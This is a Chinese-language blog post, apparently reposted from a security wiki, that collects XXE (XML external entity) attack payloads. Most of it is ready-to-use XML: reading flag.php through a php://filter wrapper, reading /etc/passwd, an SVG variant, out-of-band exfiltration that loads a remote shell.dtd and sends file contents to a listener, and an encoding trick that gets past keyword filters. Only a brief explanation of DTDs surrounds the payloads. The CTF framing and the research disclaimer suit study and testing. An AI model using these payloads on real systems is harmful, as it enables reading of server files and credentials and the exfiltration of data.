xxe

admin 2024年10月15日12:57:46评论19 views字数 1228阅读4分5秒阅读模式

XXE #

XXE ( PHP 5.45之后不解析实体 )

<!DOCTYPE 根标签名 SYSTEM "文件名">

1

DTD实体是用于定义引用文本或字符的快捷方式的变量,可内部声明或外部引用。

约束通过类别关键词 ANY 声明的元素,可包含任何可解析数据的组合:

<!ELEMENT 标签名 ANY>

1

同时xxe可进行内网探测读取 /etc/hosts

Payload #

PHP文件读取

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xxe [
<!ELEMENT name ANY>
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=flag.php">]>
<creds>
<user>&xxe;</user>
</creds>

1234567

file协议读取文件

<?xml version="1.0"?>
<!DOCTYPE GVI [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<catalog>
    <core id="test101">
     <description>&xxe;</description>
  </core>
</catalog>

1234567

SVG格式

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ENTITY file SYSTEM "要读取的文件路径" >
]>
<svg height="100" width="1000">
  <text x="10" y="20">&file;</text>
</svg>

1234567

数据外带

<!DOCTYPE root [ 
<!ENTITY % remote SYSTEM "http://174.1.66.167/shell.dtd">
%remote;
]>

shell.dtd
<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://127.0.0.1:5555/?flag=%file;'>">
%int;
%send;

12345678910

xxe绕过的payload

当只过滤了SYSTEM,PUBLIC等关键字时,可用双重实体编码绕过

<?xml version="1.0"?>

<!DOCTYPE GVI [

    <!ENTITY % xml "<!ENTITY xxe SYSTEM "file:///flag.txt" >]>
<core>
      <message>&xxe;</message>
</core>">

    %xml;

1234567

即为在xml实体中再定义一次xml,可成功被解析,支持dtd数据外带

<!ENTITY xxe SYSTEM "file:///flag.txt" >]>
<core>
      <message>&xxe;</message>
</core>

1234

以上为编码部分内容

- source:wiki.wgpsec.org

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月15日12:57:46
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   xxehttps://cn-sec.com/archives/3270885.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息